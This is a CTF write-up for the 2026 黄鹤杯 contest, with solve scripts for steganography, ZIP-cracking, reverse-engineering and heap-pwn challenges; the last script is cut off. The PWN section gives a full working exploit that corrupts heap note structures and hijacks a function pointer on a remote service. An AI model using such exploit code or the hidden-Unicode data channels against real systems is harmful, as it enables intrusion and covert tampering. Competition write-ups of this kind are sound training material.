2026 黄鹤杯 WP

1. AI1 / 无声审稿

核心思路

附件是一份 AI 审稿备忘录,表面文本不是重点。真正数据藏在不可见 Unicode 通道中:

  • Unicode Tag 字符:解出协议 manifest;
  • Variation Selector:解出 nonce;
  • 零宽字符:解出 GF(2) 线性方程组右端项。

根据 manifest 生成 512 行稀疏矩阵,在 GF(2) 上求解 336 个 bit,按 MSB-first 还原 42 字节 flag。

关键步骤

  1. 解压 无声审稿.zip,读取 peer_review.txt。
  2. 从 [review-token] 解出 manifest,从 [style-token] 解出 nonce c6f13d0a9b7e42d18a5c60ef31b42877。
  3. 从 [margin-notes] 还原 512 位 RHS。
  4. 用 sha256(b"spring-review:" + nonce_hex.encode()).digest()[:16] 生成 seed,按 BLAKE2s 规则生成矩阵。
  5. 高斯消元得到唯一解并转成 flag。

复现

cd "D:\Users\Lenovo\Desktop\黄鹤杯\AI1"
python .\solve.py

Flag

flag{17b8bbaf-1e0d-4d40-8a22-8c39c6e58bb0}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\AI1\solve.py

from pathlib import Path
import hashlib
import re
import zipfile


N_BITS = 336
M_ROWS = 512


def read_review_text():
    root = Path(__file__).resolve().parent
    zips = sorted(root.glob("*.zip"))
    if not zips:
        raise FileNotFoundError("no challenge zip found")

    with zipfile.ZipFile(zips[0]) as zf:
        target = next(name for name in zf.namelist() if name.endswith("peer_review.txt"))
        return zf.read(target).decode("utf-8")


def field(text, label):
    match = re.search(rf"\[{re.escape(label)}\] (.*)", text)
    if not match:
        raise ValueError(f"missing [{label}]")
    return match.group(1)


def decode_tag_ascii(data):
    return "".join(
        chr(ord(ch) - 0xE0000)
        for ch in data
        if 0xE0000 <= ord(ch) <= 0xE007F
    )


def decode_nonce(data):
    nibbles = [ord(ch) - 0xFE00 for ch in data if 0xFE00 <= ord(ch) <= 0xFE0F]
    if len(nibbles) % 2:
        raise ValueError("odd number of nonce nibbles")
    return bytes((nibbles[i] << 4) | nibbles[i + 1] for i in range(0, len(nibbles), 2))


def decode_rhs(data):
    rhs = []
    for ch in data:
        code = ord(ch)
        if code == 0x2062:
            rhs.append(0)
        elif code == 0x2064:
            rhs.append(1)
        elif code == 0x200B:
            continue
    if len(rhs) != M_ROWS:
        raise ValueError(f"unexpected rhs length: {len(rhs)}")
    return rhs


def u32be(value):
    return value.to_bytes(4, "big")


def u16be(value):
    return value.to_bytes(2, "big")


def make_rows(seed):
    rows = []
    for i in range(M_ROWS):
        degree = 3 + (hashlib.blake2s(seed + u32be(i)).digest()[0] % 14)
        used = set()
        indexes = []
        counter = 0

        while len(indexes) < degree:
            digest = hashlib.blake2s(seed + u32be(i) + u16be(counter)).digest()
            for off in range(0, len(digest) - 1, 2):
                idx = int.from_bytes(digest[off : off + 2], "big") % N_BITS
                if idx not in used:
                    used.add(idx)
                    indexes.append(idx)
                    if len(indexes) == degree:
                        break
            counter += 1

        mask = 0
        for idx in indexes:
            mask |= 1 << idx
        rows.append(mask)
    return rows


def solve_gf2(rows, rhs, n_bits):
    matrix = [row | (bit << n_bits) for row, bit in zip(rows, rhs)]
    pivot_row = 0
    pivots = []

    for col in range(n_bits):
        pivot = None
        col_bit = 1 << col
        for row in range(pivot_row, len(matrix)):
            if matrix[row] & col_bit:
                pivot = row
                break
        if pivot is None:
            continue

        matrix[pivot_row], matrix[pivot] = matrix[pivot], matrix[pivot_row]
        for row in range(len(matrix)):
            if row != pivot_row and (matrix[row] & col_bit):
                matrix[row] ^= matrix[pivot_row]

        pivots.append(col)
        pivot_row += 1

    mask = (1 << n_bits) - 1
    for row in range(pivot_row, len(matrix)):
        if (matrix[row] & mask) == 0 and ((matrix[row] >> n_bits) & 1):
            raise ValueError("linear system is inconsistent")
    if len(pivots) != n_bits:
        raise ValueError(f"linear system is not unique, rank={len(pivots)}")

    bits = [0] * n_bits
    for row, col in enumerate(pivots):
        bits[col] = (matrix[row] >> n_bits) & 1
    return bits


def bits_to_bytes(bits):
    out = bytearray()
    for off in range(0, len(bits), 8):
        value = 0
        for bit in bits[off : off + 8]:
            value = (value << 1) | bit
        out.append(value)
    return bytes(out)


def main():
    text = read_review_text()

    manifest = decode_tag_ascii(field(text, "review-token"))
    nonce = decode_nonce(field(text, "style-token"))
    rhs = decode_rhs(field(text, "margin-notes"))

    seed = hashlib.sha256(b"spring-review:" + nonce.hex().encode()).digest()[:16]
    rows = make_rows(seed)
    bits = solve_gf2(rows, rhs, N_BITS)
    flag = bits_to_bytes(bits).decode()

    print(manifest)
    print(flag)


if __name__ == "__main__":
    main()

2. misc1 / 潮痕留声

题目描述

题目附件是一张看似普通的 PNG。题目提示强调“来时路”和“留声”,实际链路依次经过 PNG 元数据、AES 加密 ZIP、尾随 WAV、频谱字符表,以及另一张 PNG 中的通道迷宫。最终提交值为:

flag{60a8d749-3760-4560-8bc7-86f2faa7754d}

分析过程

密码掩码与加密压缩包

先检查初始 data.png 的 PNG 元数据。XMP 的 exifEX:LensMake 字段不是相机型号,而是:

2026_????_CHB

这是后续压缩包口令的固定前后缀。PNG 逻辑结束位置之后存在一段与图片渲染无关的二进制数据。该数据不是直接附加 ZIP,而是经过两层简单变换:先整体逆序,再对每个字节交换高、低 4 bit。恢复代码如下:

from pathlib import Path

blob = Path("data.png").read_bytes()
tail = blob[blob.find(b"IEND") + 8:]
restored = bytes(((value & 0x0F) << 4) | (value >> 4) for value in tail[::-1])
Path("payload.zip").write_bytes(restored)

payload.zip 的本地文件头以 PK\x03\x04 开始,使用 method 99,extra field 为 0x9901,这是 WinZip AES 加密 ZIP;其中的文件名可见为 tide_trace.png。

因此可以将口令空间约束为:固定前缀 2026_、四个未知字符、固定后缀 _CHB。用ARCHPR掩码爆破 2026_????_CHB,命中口令为:

2026_D4fX_CHB

用该口令解压后得到 tide_trace.png。

从 PNG 尾部恢复 WAV

tide_trace.png 的文件头正常以 PNG 签名开始,但不能直接被部分图像库打开。逐个读取 chunk 可以发现:PNG 的逻辑结尾是 IEND,而物理文件在其后仍保留 645,164 字节。该尾部以 RIFF 开始,直接保存为 WAV 即可。

from pathlib import Path

blob = Path("tide_trace.png").read_bytes()
iend_end = blob.find(b"IEND") + 8
Path("tide_trace_tail.wav").write_bytes(blob[iend_end:])

得到的 WAV 参数为双声道、16-bit PCM、16,000 Hz、161,280 帧,时长 10.08 秒。它没有额外 RIFF chunk 或尾随数据,因此隐藏内容在采样本身。

频谱中的字符表

分别对左右声道做短时傅里叶变换。关键参数是 NFFT=2048、采样率 16,000、重叠 1,920;这使相邻帧仅前进 128 个采样点,可以保留字符轮廓。

import wave
from pathlib import Path
import numpy as np
import matplotlib.pyplot as plt

p = Path("tide_trace_tail.wav")
with wave.open(str(p), "rb") as wav:
    samples = np.frombuffer(wav.readframes(wav.getnframes()), dtype="<i2").reshape(-1, 2)

for channel, name in enumerate(("left", "right")):
    fig, ax = plt.subplots(figsize=(30, 10))
    ax.specgram(samples[:, channel], NFFT=2048, Fs=16000, noverlap=1920,
                cmap="magma", scale="dB")
    ax.set_ylim(600, 8000)
    ax.axis("off")
    fig.subplots_adjust(0, 0, 1, 1)
    fig.savefig(f"{name}.png", dpi=150)

频谱中的字符相对标准阅读方向旋转。将输出旋转并做镜像后,可得到一个 6x6 的字符表。这里的“镜像”不能改变记录顺序:频谱横轴仍是音频的时间轴,原始顺序为左到右。这个字符表提供 UUID 的全部字符,但尚未给出正确排列。

原始频谱图如下:

对该图先旋转 180 度,再做一次水平镜像,得到可读的字符表:

修复图像尺寸并提取迷宫

tide_trace.png 的 IHDR 声称尺寸为 960 x 448。这会使图层图像在下边界被截断。不要直接相信 IHDR:将所有 IDAT 拼接并 zlib 解压后,扫描线长度为 1 + 960 * 4 = 3841 字节,总长度恰好为 960 行,即真实画布是 960 x 960。

同时,IHDR CRC 被故意写错。将高度改为 960 并重算 IHDR CRC 后,PNG 可以正常解码:

import zlib
from pathlib import Path
from PIL import Image

raw = bytearray(Path("tide_trace.png").read_bytes())
iend_end = raw.find(b"IEND") + 8

# IHDR data starts at offset 16: width occupies [16:20], height occupies [20:24].
raw[20:24] = (960).to_bytes(4, "big")
raw[29:33] = zlib.crc32(raw[12:29]).to_bytes(4, "big")
Path("tide_trace_960.png").write_bytes(raw[:iend_end])

之所以检查图层不是凭空尝试异或。修复后先对 RGBA 四个通道做统计:Alpha 并非正常的单一 255,而是只在 254 和 255 间变化;Green 也只有很窄的离散取值范围。可见画面无法解释这种一位变化,而题目需要一条排序规则,因此应检查“通道对的低位差异”。

枚举 R^G、R^B、R^A、G^B、G^A、B^A 的各个位平面。除 G^A 的 bit 0 外,其余组合只保留场景纹理或随机噪声;G^A 的 bit 0 唯一形成连续、带起止标记的线条。这说明该组合是有意构造的隐藏层

import numpy as np
from PIL import Image

rgba = np.asarray(Image.open("tide_trace_960.png").convert("RGBA"))
maze = ((rgba[..., 1] ^ rgba[..., 3]) & 1) * 255
Image.fromarray(maze.astype("uint8")).save("maze.png")

maze.png 显示完整迷宫。若继续使用伪造的 448 高度,只能看到上半部分,路径会在边界处中断。圆环为起点,箭头为终点;迷宫给出字符表的读取路径。

下面是伪造高度下的结果,显然只是一半的路径

修复高度后重复上述操作后得到完整路径

依迷宫重排并格式化 UUID

将频谱获得的 6x6 字符表放入对应网格。从圆环沿迷宫到箭头读取,所有字符都会被使用,得到连续结果:

60a8d749-3760-4560-8bc786f2faa7754d

提交时加上题目要求的 flag{} 外壳:

flag{60a8d749-3760-4560-8bc7-86f2faa7754d}

右下角部分可能存在歧义,根据歧义得到的结果中a跟f互换位置,两个结果都提交验证一下即可

3. MISC2 / 失序货栈

核心思路

外层 ZIP 中包含大量 BOX-*,每个内层 BOX 都是传统 ZipCrypto 加密 ZIP,密码就是编号。解开后得到带 data 和 crc32 的短片段。对短片段 Base32 解码,利用 CRC32 修复坏字节,再用 9 字节首尾重叠拼接成 zlib 流,解压得到 manifest 和 flag。

关键步骤

  1. 遍历外层 失序货栈.zip 中的 BOX-*。
  2. 对 BOX-04 使用密码 04,对 BOX-127 使用密码 127,依此类推。
  3. 解析记录:
BOX-04 | data=... | crc32=42fd8f19
  1. 保留长度为 48 的短 Base32 片段,Base32 解码后校验 CRC32。
  2. 对不匹配片段暴力修复 1 到 2 字节错误。
  3. 通过 9 字节重叠得到唯一链:
BOX-04 -> BOX-14 -> BOX-31 -> BOX-94 -> BOX-83 -> BOX-72 -> BOX-81 -> BOX-50 -> BOX-37 -> BOX-77 -> BOX-06 -> BOX-69 -> BOX-40 -> BOX-10 -> BOX-85 -> BOX-80 -> BOX-09 -> BOX-30 -> BOX-79 -> BOX-67 -> BOX-76 -> BOX-93 -> BOX-07 -> BOX-68 -> BOX-92 -> BOX-88 -> BOX-49
  1. 拼接得到 78 da 开头的 zlib 流,解压后 manifest 中出现:
final=flag{dffc94e8-0571-4e68-bbc3-f1534766f794}

复现

cd "D:\Users\Lenovo\Desktop\黄鹤杯\MISC2"
python .\solve.py

Flag

flag{dffc94e8-0571-4e68-bbc3-f1534766f794}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\MISC2\solve.py

import base64
import io
import itertools
import re
import sys
import zipfile
import zlib
from pathlib import Path


ROOT = Path(__file__).resolve().parent
ZIP_PATH = ROOT / "失序货栈.zip"
OUT_DIR = ROOT / "solved"
OVERLAP = 9


def crc32(data: bytes) -> int:
    return zlib.crc32(data) & 0xFFFFFFFF


def box_password(n: int) -> bytes:
    return (f"{n:02d}" if n < 100 else f"{n:03d}").encode()


def load_records():
    records = {}
    with zipfile.ZipFile(ZIP_PATH) as outer:
        for outer_info in outer.infolist():
            if outer_info.is_dir():
                continue
            m = re.search(r"BOX-(\d+)$", outer_info.filename)
            if not m:
                continue
            n = int(m.group(1))
            with zipfile.ZipFile(io.BytesIO(outer.read(outer_info))) as inner:
                plain = inner.read(inner.infolist()[0], pwd=box_password(n))
            row = re.fullmatch(
                rb"BOX-(\d+) \| data=([A-Z2-7=]+) \| crc32=([0-9a-f]{8})(?:\r?\n)?",
                plain,
            )
            if not row:
                raise ValueError(f"cannot parse BOX-{n:03d}")
            records[n] = {
                "data_text": row.group(2).decode(),
                "crc": int(row.group(3), 16),
            }
    return records


def repair_fragment(data: bytearray, target_crc: int):
    if crc32(data) == target_crc:
        return bytes(data), []

    for pos in range(len(data)):
        old = data[pos]
        for value in range(256):
            if value == old:
                continue
            data[pos] = value
            if crc32(data) == target_crc:
                return bytes(data), [(pos, old, value)]
        data[pos] = old

    for pos1, pos2 in itertools.combinations(range(len(data)), 2):
        old1, old2 = data[pos1], data[pos2]
        for value1 in range(256):
            if value1 == old1:
                continue
            data[pos1] = value1
            for value2 in range(256):
                if value2 == old2:
                    continue
                data[pos2] = value2
                if crc32(data) == target_crc:
                    return bytes(data), [(pos1, old1, value1), (pos2, old2, value2)]
            data[pos2] = old2
        data[pos1] = old1

    raise ValueError("fragment repair failed")


def build_chain(fragments):
    next_box = {}
    incoming = {n: 0 for n in fragments}

    for a, b in itertools.permutations(fragments, 2):
        if fragments[a][-OVERLAP:] == fragments[b][:OVERLAP]:
            next_box[a] = b
            incoming[b] += 1

    starts = [n for n, count in incoming.items() if count == 0]
    if len(starts) != 1:
        raise ValueError(f"expected one start, got {starts}")

    chain = [starts[0]]
    seen = {starts[0]}
    while chain[-1] in next_box:
        nxt = next_box[chain[-1]]
        if nxt in seen:
            raise ValueError("cycle in overlap chain")
        chain.append(nxt)
        seen.add(nxt)

    if len(chain) != len(fragments):
        raise ValueError(f"incomplete chain: {len(chain)} / {len(fragments)}")
    return chain


def main():
    records = load_records()

    fragments = {}
    repairs = {}
    for n, record in records.items():
        # The manifest fragments are the short base32 crates. Long crates fail
        # their own CRC and are not part of the recovered belt.
        if len(record["data_text"]) != 48:
            continue
        repaired, changes = repair_fragment(
            bytearray(base64.b32decode(record["data_text"])),
            record["crc"],
        )
        fragments[n] = repaired
        if changes:
            repairs[n] = changes

    chain = build_chain(fragments)
    stream = bytearray(fragments[chain[0]])
    for n in chain[1:]:
        stream.extend(fragments[n][OVERLAP:])

    manifest = zlib.decompress(bytes(stream))
    flag = re.search(rb"flag\{[^}]+\}", manifest)
    if not flag:
        raise ValueError("flag not found")

    OUT_DIR.mkdir(exist_ok=True)
    (OUT_DIR / "recovered_stream.zlib").write_bytes(stream)
    (OUT_DIR / "manifest.txt").write_bytes(manifest)

    print("chain:", " -> ".join(f"BOX-{n:02d}" for n in chain))
    print("repairs:")
    for n, changes in sorted(repairs.items()):
        print(f"  BOX-{n:02d}: {changes}")
    print("flag:", flag.group(0).decode())


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"error: {exc}", file=sys.stderr)
        raise

4. PWN / A-C

核心思路

这是菜单型堆题。pack 会把 note 的 data 重新压缩并分配到更小 chunk,但 note 结构体中的 cap 没有同步更新,形成 stale cap。后续 show/edit 仍按旧 cap 读写,造成堆越界,最终覆盖相邻 note 结构体并修改全局 archive 的退出函数指针。

目标函数指针:

close_archive = PIE + 0x1311
dump_flag     = PIE + 0x1330

只需把最低 1 字节从 0x11 改成 0x30,退出菜单时就会调用 dump_flag(archive) 读取 ./flag。

关键步骤

  1. 创建 0 号 note,申请 0x700 大小并写入重复数据。
  2. 对 0 号 note 执行 pack,data 缩小但 cap 保持 0x700。
  3. 创建 1 号 note,标题写入 NOTE1_MARK。
  4. show(0) 越界泄露,在泄露中搜索 NOTE1_MARK,定位 1 号 note 结构体。
  5. 用 edit(0) 越界改写 1 号 note 的 data/cap/len,读 heap 页并搜索 ./flag\x00,定位 archive。
  6. 将 1 号 note 的 data 指向 archive + 0x40,通过 edit(1, b"\x30") 改函数指针最低字节。
  7. 选择 quit,触发 dump_flag。

复现

远程带 4 位大写字母 MD5 POW,脚本自动爆破:

wsl -e sh -lc "cd /mnt/d/Users/Lenovo/Desktop/黄鹤杯/PWN/A-C && python3 exp.py 119.36.240.223 40218"

本地验证:

wsl -e sh -lc "cd /mnt/d/Users/Lenovo/Desktop/黄鹤杯/PWN/A-C && echo LOCAL_FLAG_TEST > flag && python3 exp.py A-C; rm -f flag"

Flag

flag{64d1ead3-bb83-43da-b482-0128bb459f5c}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\PWN\A-C\exp.py

#!/usr/bin/env python3
from pwn import *
import hashlib
import itertools
import string
import sys


context(os='linux', arch='amd64', log_level='info')

file_name = './A-C'
note1_title = b'NOTE1_MARK'
flag_path = b'./flag\x00'


def solve_pow(io):
    data = io.recvuntil(b'Enter the missing 4 uppercase letters: ', timeout=3)
    if b'Token:' not in data:
        return data

    token = data.split(b'Token: ')[1].split(b'\n')[0].decode()
    md5 = data.split(b'MD5: ')[1].split(b'\n')[0].decode()
    for x in itertools.product(string.ascii_uppercase, repeat=4):
        fill = ''.join(x)
        full = token.replace('____', fill)
        if hashlib.md5(full.encode()).hexdigest() == md5:
            io.sendline(fill.encode())
            return
    raise RuntimeError('pow failed')


def menu(io, idx):
    io.recvuntil(b'>')
    io.sendline(str(idx).encode())


def create(io, idx, title, reserve, data):
    menu(io, 1)
    io.recvuntil(b'index:')
    io.sendline(str(idx).encode())
    io.recvuntil(b'title:')
    io.sendline(title)
    io.recvuntil(b'reserve:')
    io.sendline(str(reserve).encode())
    io.recvuntil(b'length:')
    io.sendline(str(len(data)).encode())
    io.recvuntil(b'hex data:')
    io.sendline(data.hex().encode())
    io.recvuntil(b'ok')


def edit(io, idx, data):
    menu(io, 2)
    io.recvuntil(b'index:')
    io.sendline(str(idx).encode())
    io.recvuntil(b'length:')
    io.sendline(str(len(data)).encode())
    io.recvuntil(b'hex data:')
    io.sendline(data.hex().encode())
    io.recvuntil(b'ok')


def show(io, idx):
    menu(io, 3)
    io.recvuntil(b'index:')
    io.sendline(str(idx).encode())
    return io.recvuntil(b'1. create')


def pack_note(io, idx):
    menu(io, 4)
    io.recvuntil(b'index:')
    io.sendline(str(idx).encode())
    io.recvuntil(b'packed')


def get_hex(data):
    for line in data.split(b'\n'):
        line = line.strip()
        if len(line) > 0x100 and all(c in b'0123456789abcdef' for c in line):
            return bytes.fromhex(line.decode())
    raise RuntimeError('leak failed')


def pwn1(io):
    # pack shrinks data0 to 1 byte, but note0 cap is still the old usable size.
    create(io, 0, b'A', 0x700, b'B' * 0x700)
    pack_note(io, 0)

    # show(0) overreads into note1; find note1 by its title instead of fixed offsets.
    create(io, 1, note1_title, 0x20, b'D')
    leak = get_hex(show(io, 0))
    note1_off = leak.index(note1_title) - 0x18
    data1 = u64(leak[note1_off + 0x10:note1_off + 0x18])
    success('data1   = ' + hex(data1))
    success('note1   = data0 + ' + hex(note1_off))
    return note1_off, data1


def set_note1(io, note1_off, data, cap):
    # Rewrite note1 fields through note0's stale cap overrun.
    payload = flat({
        note1_off: p64(cap),
        note1_off + 0x8: p64(cap),
        note1_off + 0x10: p64(data),
        note1_off + 0x18: note1_title + b'\x00',
    }, filler=b'B')
    edit(io, 0, payload)


def pwn2(io, note1_off, data1):
    # Point note1 to the current heap page and find archive by the original "./flag".
    page = data1 & ~0xfff
    set_note1(io, note1_off, page, 0x1000)
    leak = get_hex(show(io, 1))
    archive = page + leak.index(b'./flag\x00')
    success('archive = ' + hex(archive))

    # If remote keeps the flag at /flag, rewrite archive path before calling dump_flag.
    if flag_path != b'./flag\x00':
        set_note1(io, note1_off, archive, 0x20)
        edit(io, 1, flag_path)

    # close_func is PIE+0x1311 and dump_flag is PIE+0x1330; only the low byte changes.
    set_note1(io, note1_off, archive + 0x40, 8)
    edit(io, 1, b'\x30')


def pwn3(io):
    menu(io, 6)
    io.recvline()
    print(io.recvall(timeout=2).decode(errors='ignore'))


def exp():
    global file_name
    global flag_path

    if len(sys.argv) >= 3 and sys.argv[2].isdigit():
        if len(sys.argv) >= 4:
            flag_path = sys.argv[3].encode() + b'\x00'
        io = remote(sys.argv[1], int(sys.argv[2]))
        solve_pow(io)
    else:
        if len(sys.argv) == 2:
            file_name = sys.argv[1]
            if not file_name.startswith(('/', './', '../')):
                file_name = './' + file_name
        if len(sys.argv) >= 3:
            file_name = sys.argv[1]
            if not file_name.startswith(('/', './', '../')):
                file_name = './' + file_name
            flag_path = sys.argv[2].encode() + b'\x00'
        io = process(file_name)

    note1_off, data1 = pwn1(io)
    pwn2(io, note1_off, data1)
    pwn3(io)


if __name__ == '__main__':
    exp()

5. RE1 / 春风栈桥

核心思路

附件是 Linux x86-64 ELF,先用 UPX 打包。脱壳后主体是 VM 校验器。程序对输入做格式检查、滚动 hash、VM 状态转移检查和 pair check。VM 字节码结构固定,可以从目标表逐字符反推 flag。

关键步骤

  1. strings challenge 可见 UPX! 和 == springwind vm ==。
  2. 程序运行时自解压到匿名映射,使用 gdb 在读入前 dump 内存得到 re1_unpacked_5pages.bin。
  3. main 检查长度 42、前缀 flag{、后缀 }。
  4. VM opcode:
1: mov reg, imm32
2: load reg, input[idx]
3: xor reg, imm8
4: xor reg, reg
5: rol reg, imm8
6: add reg, imm32
7: cmp reg, target[idx]
8: halt
  1. 每个字符对应:
R1 = input[i]
R1 ^= key_i
R0 ^= R1
R0 = rol32(R0, rot_i)
R0 += add_i
assert R0 == target[i]

反推:

input[i] = ror32(target[i] - add_i, rot_i) ^ previous_R0 ^ key_i
  1. 最后用滚动 hash 和 pair check 复核。

复现

cd "D:\Users\Lenovo\Desktop\黄鹤杯\RE1"
python .\solve_re1.py

Flag

flag{d8c9e14d-4acb-43e5-a709-bbe8983eef63}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\RE1\solve_re1.py

from pathlib import Path
import struct


ROOT = Path(__file__).resolve().parent
BIN = ROOT / "re1_unpacked_5pages.bin"


def u32(x):
    return x & 0xFFFFFFFF


def rol32(x, n):
    x &= 0xFFFFFFFF
    return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF


def ror32(x, n):
    x &= 0xFFFFFFFF
    return ((x >> n) | (x << (32 - n))) & 0xFFFFFFFF


def rol8(x, n):
    x &= 0xFF
    return ((x << n) | (x >> (8 - n))) & 0xFF


def parse_vm(code):
    pc = 0
    ops = []
    while pc < len(code):
        op = code[pc]
        pc += 1
        if op == 1:
            reg = code[pc]
            imm = struct.unpack_from("<I", code, pc + 1)[0]
            pc += 5
            ops.append(("mov", reg, imm))
        elif op == 2:
            reg = code[pc]
            idx = code[pc + 1]
            pc += 2
            ops.append(("load", reg, idx))
        elif op == 3:
            reg = code[pc]
            imm = code[pc + 1]
            pc += 2
            ops.append(("xor_imm", reg, imm))
        elif op == 4:
            dst = code[pc]
            src = code[pc + 1]
            pc += 2
            ops.append(("xor_reg", dst, src))
        elif op == 5:
            reg = code[pc]
            imm = code[pc + 1] & 31
            pc += 2
            ops.append(("rol", reg, imm))
        elif op == 6:
            reg = code[pc]
            imm = struct.unpack_from("<I", code, pc + 1)[0]
            pc += 5
            ops.append(("add", reg, imm))
        elif op == 7:
            reg = code[pc]
            idx = code[pc + 1]
            pc += 2
            ops.append(("cmp", reg, idx))
        elif op == 8:
            ops.append(("halt",))
            break
        else:
            raise ValueError(f"bad opcode {op:#x} at {pc - 1:#x}")
    return ops


def hash_check(flag):
    a = 0x13579BDF
    b = 0x2468ACE0
    c = 0xDEADBEEF
    d = 0x10203040
    for i, ch in enumerate(flag):
        x = (ch + i * 17) & 0xFF
        a = u32(rol32(a ^ x, 3) - 0x61C88647)
        b = u32(rol32(b + (x ^ a), 5) ^ 0x85EBCA6B)
        c = u32((c ^ rol32(b + x, 7)) - 0x3D4D51CB)
        d = u32(rol32(d + ((x * 0x45) ^ c), 11) ^ a)
    return (a, b, c, d) == (0x68D0B035, 0x7A59150E, 0xE80F58EF, 0xFA013155)


def pair_check(flag, pair_targets):
    for i in range(21):
        a = flag[2 * i]
        b = rol8(flag[2 * i + 1], i % 7 + 1)
        value = (((a << 8) + a) ^ ((b << 4) + b) ^ (26 * i) ^ 0x5AA5) & 0xFFFF
        if value != pair_targets[i]:
            return False
    return True


def main():
    data = BIN.read_bytes()
    targets = list(struct.unpack_from("<42I", data, 0x2040))
    pair_targets = list(struct.unpack_from("<21H", data, 0x2100))
    code = data[0x2140 : 0x2140 + 0x379]
    ops = parse_vm(code)

    assert ops[0][0] == "mov" and ops[0][1] == 0
    state = ops[0][2]
    flag = []
    pc = 1

    for i in range(42):
        load, xor_imm, xor_reg, rot, add, cmp = ops[pc : pc + 6]
        pc += 6
        assert load == ("load", 1, i)
        assert xor_reg == ("xor_reg", 0, 1)
        assert cmp == ("cmp", 0, i)

        key = xor_imm[2]
        shift = rot[2]
        addend = add[2]
        ch = ror32(u32(targets[i] - addend), shift) ^ state ^ key
        flag.append(ch & 0xFF)
        state = targets[i]

    flag = bytes(flag)
    assert flag.startswith(b"flag{") and flag.endswith(b"}")
    assert hash_check(flag)
    assert pair_check(flag, pair_targets)
    print(flag.decode())


if __name__ == "__main__":
    main()

6. RE2 / 墨烬残页

核心思路

附件包含 Go x64 程序 ink_ashes.exe 和数据文件 paper.bin。程序运行时会破坏 paper.bin,并且不直接打印 flag,所以需要静态还原数据。核心是解析 paper.bin 的多层结构,解 RC4-like 控制块,再解一个改造 XXTEA。

关键步骤

  1. paper.bin 头部结构:
magic    = PAPR
version  = 0x20260404
size     = 198
seed     = 0x31415926
sentinel = 0x5A17C4D2
  1. 对 paper[20:] 做 XOR/ROL 解包:
decoded[i] = paper[20+i] ^ key_byte ^ ((9 * i + 65) & 0xff)
  1. 切分:
keyObf   = decoded[0:22]
pageOdd  = decoded[22:38]
pageEven = decoded[38:54]
leafA    = decoded[54:126]
leafB    = decoded[126:198]
  1. p0 解出 key:
paper-window::cold-ink
  1. p1 交错 pageOdd/pageEven,p2 解出控制块,开头为 CF4!。
  2. 从控制块派生改造 XXTEA 的 key4 / delta / salt。
  3. p3 合并密文 DWORD:
note[i] = leafA[i] ^ rol32(leafB[i], (i % 5) + 1)
  1. p5 的正确生成端公式是:
(R + key_mix) ^ shift_mix

而不是反编译中容易误读的:

R + (key_mix ^ shift_mix)
  1. 解密得到:
flag{da0c4814-a079-44c6-aec1-3178130c1052}|mode=static-only|trail=paper

复现

cd "D:\Users\Lenovo\Desktop\黄鹤杯\RE2"
python .\solve_re2.py

Flag

flag{da0c4814-a079-44c6-aec1-3178130c1052}

完整 EXP

D:\Users\Lenovo\Desktop\黄鹤杯\RE2\solve_re2.py

from pathlib import Path
import struct
import sys


ROOT = Path(__file__).resolve().parent
PAPER = ROOT / "\u58a8\u70ec\u6b8b\u9875" / "paper.bin"


def u32(x):
    return x & 0xFFFFFFFF


def rol32(x, n):
    n &= 31
    x &= 0xFFFFFFFF
    return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF


def p0(data):
    return bytes(b ^ ((7 * i + 51) & 0xFF) for i, b in enumerate(data))


def p1(left, right):
    out = bytearray()
    n = min(len(left), len(right))
    for i in range(n):
        out.append(left[i])
        out.append(right[i])
    out.extend(left[n:])
    out.extend(right[n:])
    return bytes(out)


def p2(data, key):
    s = list(range(256))
    j = 0
    for i in range(256):
        si = s[i]
        j = (((i >> 1) ^ (7 * i)) + si + j + key[i % len(key)]) & 0xFF
        s[i], s[j] = s[j], si

    out = bytearray(len(data))
    a = 0
    j = 0
    for i, c in enumerate(data):
        idx = (a + (key[i % len(key)] & 3) + 1) & 0xFF
        si = s[idx]
        j = (si + j + key[(5 * i + 3) % len(key)]) & 0xFF
        s[idx], s[j] = s[j], si
        out[i] = s[(i + si + s[idx]) & 0xFF] ^ ((13 * i + 90) & 0xFF) ^ c
        a = idx
    return bytes(out)


def p3(left, right):
    return [u32(a ^ rol32(b, (i % 5) + 1)) for i, (a, b) in enumerate(zip(left, right))]


def p5(sumv, y, z, p, e, salt, key):
    idx = (p & 3) ^ e
    key_mix = u32((sumv ^ y) + (z ^ key[idx]))
    shift_mix = u32(((z >> 5) ^ u32(y << 2)) + ((y >> 3) ^ u32(z << 4)))
    r = salt ^ rol32(sumv, p + e)
    return u32(u32(r + key_mix) ^ shift_mix)


def p4_decrypt(data, delta, salt, key):
    v = [u32(x) for x in data]
    n = len(v)
    sumv = u32(delta * (52 // n + 6))
    y = v[0]
    while sumv:
        e = (sumv >> 2) & 3
        for p in range(n - 1, 0, -1):
            z = v[p - 1]
            y = v[p] = u32(v[p] - p5(sumv, y, z, p, e, salt, key))
        z = v[-1]
        y = v[0] = u32(v[0] - p5(sumv, y, z, 0, e, salt, key))
        sumv = u32(sumv - delta)
    return b"".join(struct.pack("<I", x) for x in v).rstrip(b"\0")


def p4_encrypt(data, delta, salt, key):
    v = [u32(x) for x in data]
    n = len(v)
    sumv = 0
    z = v[-1]
    for _ in range(52 // n + 6):
        sumv = u32(sumv + delta)
        e = (sumv >> 2) & 3
        for p in range(n - 1):
            y = v[p + 1]
            z = v[p] = u32(v[p] + p5(sumv, y, z, p, e, salt, key))
        y = v[0]
        z = v[-1] = u32(v[-1] + p5(sumv, y, z, n - 1, e, salt, key))
    return v


def main():
    paper_path = Path(sys.argv[1]) if len(sys.argv) > 1 else PAPER
    paper = paper_path.read_bytes()
    if len(paper) != 218:
        raise SystemExit("paper.bin was overwritten; re-extract the challenge zip first")

    assert paper[:4] == b"PAPR"
    assert struct.unpack_from("<I", paper, 4)[0] == 0x20260404
    assert struct.unpack_from("<I", paper, 8)[0] == 198
    seed = struct.unpack_from("<I", paper, 12)[0]
    assert struct.unpack_from("<I", paper, 16)[0] == 0x5A17C4D2

    decoded = bytearray()
    for i, b in enumerate(paper[20:]):
        key_byte = (rol32(seed, i % 31) >> (8 * (i % 4))) & 0xFF
        decoded.append(b ^ key_byte ^ ((9 * i + 65) & 0xFF))

    key = p0(decoded[:22])
    control = p2(p1(decoded[22:38], decoded[38:54]), key)
    assert control[:4] == b"CF4!"

